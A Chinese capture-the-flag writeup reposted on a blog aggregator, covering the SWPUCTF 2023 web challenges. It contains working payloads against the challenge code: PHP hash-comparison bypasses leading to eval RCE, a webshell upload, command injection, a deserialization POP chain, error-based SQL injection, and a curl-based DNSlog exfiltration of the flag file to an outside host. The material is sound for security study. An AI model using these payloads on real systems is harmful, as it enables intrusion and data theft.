[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup

news2025/1/1 21:57:17

Web

colorful_snake

来玩贪吃蛇~

F12查看源代码,可以看到this_is_real_flag函数,发现是unicode编码

image-20231019080029726

利用网站转换得到flag

image-20231019080055922

一键连接!

连连need

<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
    if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
        if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
            echo "Congratulations~~~~~~~~~";
            echo "试试need Antsword<br/>";
            @eval($_POST['Nss']);
        }else{
            echo "可曾听过data协议?";
        }
    } else {
        echo "sha1又如何相等呢";
    }
} else {
    echo "如何让md5值相等呢¿";
} 

第一 层要让md5_1md5_2经过md5加密后强比较类型相等,并且md5_1不等于md5_2,这里可以用数组绕过

构造payload

?md5_1[]=1&md5_2[]=2

第二层便是绕过sha1加密,这里也可以用数组

payload:

sha1_1[]=3&sha1_2[]=4

接下来可以看到file_get_contents,这个函数的内容就是显示文件内容,可以利用data协议传入数据流

payload:

new_player=data://text/plain,Welcome to NSSCTF!!!

接下来利用Nss来进行RCE即可,最后发包如下

?md5_1[]=1&md5_2[]=2&sha1_1[]=3&sha1_2[]=4&new_player=data://text/plain,Welcome to NSSCTF!!!

POST DATA:
Nss=system('cat /f*');

image-20231019084245373

NSS_HTTP_CHEKER

来看看你的HTTP知识储备!

image-20231019084418065

好好好,喜欢这种,直接秒了

Burp发包如下

image-20231019084817744

ez_talk

文件上传,先直接上传个php文件

image-20231019133823355

试一试修改MIME类型,但是被过滤

image-20231019133932588

猜测是不是有文件头检测,添加文件头GIF89a?可以看到绕过,路径被翻转

image-20231019134158540

直接访问

http://node6.anna.nssctf.cn:28908/uploads/shell.php

可以看到已经挂马成功,直接RCE得到flag

image-20231019134435505

Pingpingping

程序未响应

<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){
    system("ping -c 3 ".$_ping);
}else{
    $data = base64_encode(file_get_contents("error.png"));
    echo "<img src='data:image/png;base64,$data'/>";
}

得到源代码,通过简单的代码审计可以知道我们需要传参Ping_ip.exe,然后再执行system(ping -c 3 +我们传入的值 )

但是这里涉及到PHP非法传参的问题,也就是如果直接传入Ping_ip.exe,在PHP中会被解析成Ping_ip_exe,所以我们将原本参数的_改为[,即可传入正确的参数

构造payload:

?Ping[ip.exe=127.0.0.1|ls /

成功扫描根目录

image-20231019135000316

接下来直接获取flag即可

?Ping[ip.exe=127.0.0.1|cat%20/f* 

UnS3rialize

Let’s do some deserialization 😃

给出源代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{
            die("N0!");
        }
    }
}



if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
} else {
    echo "Let's do some deserialization :)";
} 

考察反序列化,倒着找pop链

可以看到在NSS类中,存在__invoke()魔术方法,里面存放着可以执行系统命令的函数,所以这便是我们的终点

__invoke()魔术方法 : 将对象当作函数来使用时执行此方法

继续向上找,这个可能不太明显,就是在C类的return $want();中,在这里want被当做函数处理,触发方式便是__get()魔术方法

__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发

向上找,在T类中的return $this->sth->var;这里希望返回sth类中的var属性,但是不存在,所以可以通过该语句触发__get()魔术方法,但是前提是先触发__toString()魔术方法

__toString(): 当一个对象被当作字符串使用时触发

最后便是在F类中的__destruct()魔术方法的echo语句,将notes作为字符串处理,这便是pop链的触发点,因为__desrtuct()会自动触发

__destruct() :对象被销毁时触发

最后的pop链如下

NSS::__invoke() <-- C::__get() <-- T::__toString() <-- F::__destruct

由此构造exp,这里因为还要绕过__wakeup()所以就先不加base64_encode

<?php
class NSS
{
    public $cmd;

    function __construct(){
        $this ->cmd = "ls /";
    }
}


class C
{
    public $whoami;

    function __construct()
    {
        $this ->whoami = new NSS();
    }
}

class T
{
    public $sth ;

    function __construct(){
        $this ->sth = new C();
    }
}

class F
{
    public $user ;
    public $passwd;
    public $notes;

    function __construct()
    {
        $this->user = "SWPU";
        $this->passwd = "NSS";
        $this->notes = new T();
    }
}

$a = new F();
echo (serialize($a));

运行得到

O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}

然后修改,利用对象的属性数量不一致方法来进行绕过,修改得到

O:1:"F":5:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}

然后base64编码

TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NDoibHMgLyI7fX19fQ0K

传参即可执行命令

image-20231019143855991

之后修改脚本的命令为cat /f*在重复一下步骤即可得到flag

payload:

TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NzoiY2F0IC9mKiI7fX19fQ0K

image-20231019144057974

RCE-PLUS

没有回显如何读flag呢

无回显RCE,可以看看这篇文章

[CTF]命令执行无回显利用

这里利用DNSlog直接外带出flag

Get SubDomain获取域名,然后根据文章的格式

image-20231019151515787

cmd=curl `命令`.域名

payload如下:

http://node6.anna.nssctf.cn:28181/?cmd=curl%20`cat%20/f*`.vv5yp9.dnslog.cn

然后点Refresh Record,可以看到flag被外带出来了

image-20231019151508838

修改一下格式即为正确flag

查查need

重生之我是带黑阔查爆油专所有人!

hint1:前端源代码有hint,而且注意使用参数,或者直接拿起你们最喜欢的kali一键启动?

既然说了前端代码有hint,看一眼

image-20231019152331325

然后现在学生名单,随便找个名字

考察的是SQL注入,那就先找注入点以及闭合方式

image-20231020095723360

这里的注入点应该是student_id,因为可以明显的看到在报错语句中,password被md5加密了,所以可以判断注入点

在经过试错之后,发现闭合方式是""(双引号),那就先试试union联合查询注入,先判断显示位

image-20231020101456494

显示位不同的时候会报错,但是显示位相同的时候也会报错

后面发现是sql语句的问题,也就是那个;

image-20231020101537207

那既然都看到报错了,就试试报错注入

payload爆库:

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(database()),0x7e),1) --+#&password=11111

image-20231020101608856

看来思路对了,接下来爆表

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+&password=11111

image-20231020101725255

然后爆字段

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'),0x7e),3) --+&password=11111

image-20231020112212068

但是这个payload并不能显示完全,轻微修改一下使其显示出后面的字段名

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'),31,40),0x7e),3) --+&password=11111

发现没有flag,看看有没有表里面藏着flag,没有。。。。

不知道flag藏在哪

补充

麻了,赛后也是把题目重新看了一遍,发现flag没有存在数据库了,就想了想是不是会在某个学生的内容里,结合hint,即万能密码,尝试爆破一下

用burp进行爆破,先发到测试器,将name添加变量

image-20231021235808668

导入名单,将学生名单复制到txt中,然后导入

image-20231022000215892

开始爆破

image-20231022000514315

在这。。。服了,脑电波没对上

If_else

像你这样的大师手法一定很厉害

某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果

提交方式$_POST["check"]

记得访问一下check.php哦~

check.php的内容
<?php
    $a=false;
    $b=false;
    if(你提交的部分将会被写至这里)
    {$a=true;}
    else
    {$b=true;}
    if($a===true&&$b===true)
    eval(system(cat /flag));
?> 

不知道这道题考的什么。。。可能是考PHP如何写吧

$被ban了,不能用,那就直接执行system(cat /f*)

payload直接放下面了

check=11==11){ system('cat /f*');} /*

传入之后访问check.php得到flag

image-20231020115559945

backup

听过备份文件吗

hint有提示备份文件,直接访问www.zip,可以得到源代码

<?php
error_reporting(0);
require_once("flag.php");

class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

    public function __construct(){
        $this->yuki='tell me where';
        $this->molly='dont_tell_you';
        $this->dimoo="you_can_guess";
    }

    public function __wakeup(){
        global $flag;
        global $where_you_go;
        $this->yuki=$where_you_go;

        if($this->molly === $this->yuki){
            echo $flag;
        }
    }
}

$pucky = $_GET['wq'];
if(isset($pucky)){
    if($pucky==="二仙桥"){
        extract($_POST);
        if($pucky==="二仙桥"){    
            die("<script>window.alert('说说看,你要去哪??');</script>");
        }
        unserialize($pucky);
    }
}

看来我们需要让wq等于二仙桥来进入第一个if语句,然后再绕过第二个if语句,进行反序列化

在进入unserialize之后,__wakeup()会进行赋值,如果molly===yuki那么即可得到flag

第一个点,就是绕过第二个if,这里直接变量覆盖即可,当然GET和POST都发送wq是不行的,在POST中发送pucky即可

然后在反序列化的时候采取引用绕过的方式,exp如下

<?php

class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

}
$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);

运行得到

O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}

p0pmart.php界面直接传入即可

image-20231022004332238

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1120597.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python实现客户成套订单配送策略混合遗传算法编码

以如下的论文文献为学习对象&#xff1a;2008年发表在《控制工程》的文献《客户成套订单配送策略混合遗传算法研究》 文献研究的学术意义 本文研究的目的是寻求在车队车辆数有限情况下 &#xff0c;如何合理安排每天的车辆 &#xff0c;使得总成本最小的方案。另外&#xff0…

Qt使用QListWidget实现自定义Item效果

Q&#xff1a;如何在Qt库的基础上&#xff0c;实现自定义控件呢&#xff1f; A&#xff1a;根据官方文档回答&#xff0c;就是继承需实现的控件&#xff0c;然后实现自定义功能。 以下是实现QListWidget控件的自定义item。 先看下最终效果是如何&#xff1a; listItem 主界面U…

sql高级教程-索引

文章目录 架构简介1.连接层2.服务层3.引擎层4.存储层 索引优化背景目的劣势分类基本语法索引结构和适用场景 性能分析MySq| Query Optimizerexplain 索引优化单表优化两表优化三表优化 索引失效原因 架构简介 1.连接层 最上层是一些客户端和连接服务&#xff0c;包含本地sock通…

shell的for循环与结构化

shell笔记 列表for循环不带列表for循环for循环举例1.例1 所有文件名大写替换为小写2. 例2 读取/etc/passwd文件&#xff0c;依次输出ip段3. 例3 读取/etc/hosts内容for循环&#xff0c;执行ping4. 例4 循环ip列表&#xff0c;输出对应编号5. 例5 批量添加用户 break1. 例1 brea…

python:遗传算法(Genetic Algorithm,GA)求解23个测试函数

一、遗传算法 遗传算法&#xff08;Genetic Algorithm&#xff0c;GA&#xff09;起源于对生物系统所进行的计算机模拟研究&#xff0c;是一种随机全局搜索优化方法&#xff0c;它模拟了自然选择和遗传中发生的复制、交叉(crossover)和变异(mutation)等现象&#xff0c;从任一…

css之Flex弹性布局

文章目录 &#x1f415;前言&#xff1a;&#x1f3e8;定义flex容器 display:flex&#x1f3e8;在flex容器中子组件进行排列&#x1fa82;行排列 flex-direction: row&#x1fa82;将行排列进行翻转排列 flex-direction: row-reverse&#x1f3c5;按列排列 flex-direction: col…

统计二进制中1的个数

写一个函数返回参数二进制中 1 的个数。 比如&#xff1a; 15 0000 1111 4 个 1 我们先引入一个容易理解的例子&#xff0c;怎么得到一个十进制的数各个位置上的数为多少&#xff1f; 这里我们以一个十进制的三位数 123为例&#xff0c;要想得到它的个位&#xff0c;十位&#…

kubernetes-Service

文章目录 1、前言2、基本语法2.1 Service yaml2.2 关键字段2.3 port、nodePort、targetPort、containerPort字段说明 3、Service 类型3.1 ClusterIP3.2 NodePort3.3 LoadBalancer3.4 ExternalName 4、无头服务&#xff08;Headless Services&#xff09;5、访问service参考 1、…

R文件详细介绍、瘦身方案和原理

文章目录 1. 背景2. R文件介绍2.1 R文件概念2.1.1 标识符是怎么与资源联系起来的&#xff1f; 2.2 R文件内容2.3 library module和aar的R文件内容生成规则2.4 是谁生成的R文件&#xff1f;2.5 打包之后的R文件2.6 R文件为啥大&#xff1f;这么多&#xff1f; 3. 为什么R文件可以…

RK356x U-Boot研究所(开发篇)5.1 启动SATA硬盘中的固件

平台U-Boot 版本Linux SDK 版本RK356x2017.09v1.2.3RK356x支持从SATA硬盘中启动固件,只要板卡中有预留这个接口即可。值得注意的是,这个固件不能从maskrom阶段就直接进行加载,需要从别的媒介启动(Flash、eMMC或者TF卡)后跑到U-Boot阶段,在这个U-Boot阶段再去加载SATA硬盘…

黑豹程序员-架构师学习路线图-百科:Java的第二春Spring框架

文章目录 1、 Spring的发展历史2、为什么Spring能霸屏&#xff1f;2.1、容器的设计2.2、通过四个策略2.3、三种方式 3、学习编程设计的典范 1、 Spring的发展历史 正当SUN公司的EJB在全球开始热炒时&#xff0c;正当程序员纷纷转型EJB开发时&#xff0c;正当程序员为跑通EJB程…

昇腾CANN 7.0 黑科技:大模型训练性能优化之道

目前&#xff0c;大模型凭借超强的学习能力&#xff0c;已经在搜索、推荐、智能交互、AIGC、生产流程变革、产业提效等场景表现出巨大的潜力。大模型经过海量数据的预训练&#xff0c;通常具有良好的通用性和泛化性。用户基于“大模型预训练微调”开发范式即可在实际业务场景取…

量子力学期末复习--1

量子力学解题技巧--1 基础知识 薛定谔方程 Ehrenfest 定理 不确定性原理&#xff1a;正则对易关系&#xff1a;自由粒子&#xff1a;对于自由粒子&#xff0c;分离变量解不代表物理上可实现的态。但其含时薛定谔方程的一般解仍旧是分离变量解的线性组合 典型题目 自由粒子…

029-第三代软件开发-加载本地字体库

第三代软件开发-加载本地字体库 文章目录 第三代软件开发-加载本地字体库项目介绍加载本地字体库 关键字&#xff1a; Qt、 Qml、 QFont、 QFontDatabase、 ttf 项目介绍 欢迎来到我们的 QML & C 项目&#xff01;这个项目结合了 QML&#xff08;Qt Meta-Object Langu…

深圳世有伯乐教育科技有限公司——LJ培训

今天来吐槽一波 深圳世有伯乐教育科技有限公司就是一个垃圾的培训机构&#xff0c;不&#xff0c;说是培训机构都是扭曲事实了&#xff0c;因为它根本就没有国家认可的办学许可证。光说没法让人信服&#xff0c;以下是企查查的截图&#xff1a; 世有伯乐的工商信息图片 续上&…

MPC预测控制概述和C++ 中的模型库

系列续篇&#xff1a; C 中的模型预测路径积分 (MPPI) 控制-CSDN博客 一、说明 以下文章描述了应用模型预测控制器的简单控制系统方法。本文讨论了这种类型的控制的基本机制&#xff0c;该机制适用于各种工程领域。 MPC 涉及对未来系统行为的预测&#xff08;由一组方程描述的模…

.net6部署到linux上(CentOS Linux 7)

目录 一、先在linux上配置.net环境 添加 Microsoft 包存储库 安装 SDK 安装运行时 检查 SDK 版本可使用终端查看当前安装的 .NET SDK 版本。 打开终端并运行以下命令。 二、创建.net6 mvc项目 并发布 创建项目 修改默认端口 打包发布到文件夹 运行打包项目查看项目是否…

华为OD机试 - 代表团坐车 - 动态规划(Java 2023 B卷 200分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷&#…

【vue】vue本地储存、会话存储插件vue-ls的使用:

文章目录 一、安装&#xff1a;二、vue项目中使用&#xff1a;三、API说明&#xff1a; 一、安装&#xff1a; npm install vue-ls -S 或 yarn add vue-ls二、vue项目中使用&#xff1a; //在vue项目中的入口文件main.js中引入import Storage from vue-ls;options {namespac…

DNS和ICMP协议

目录 一、DNS协议 二、ICMP协议 1.ICMP协议 2.ping命令 在讲完了OSI模型每层协议的讲解后&#xff0c;还有一些协议我们需要再讲解一下。 一、DNS协议 DNS是一整套从域名映射到IP地址的系统&#xff0c;也叫做域名解析服务&#xff0c;端口号为53。 我们生活中访问网站都…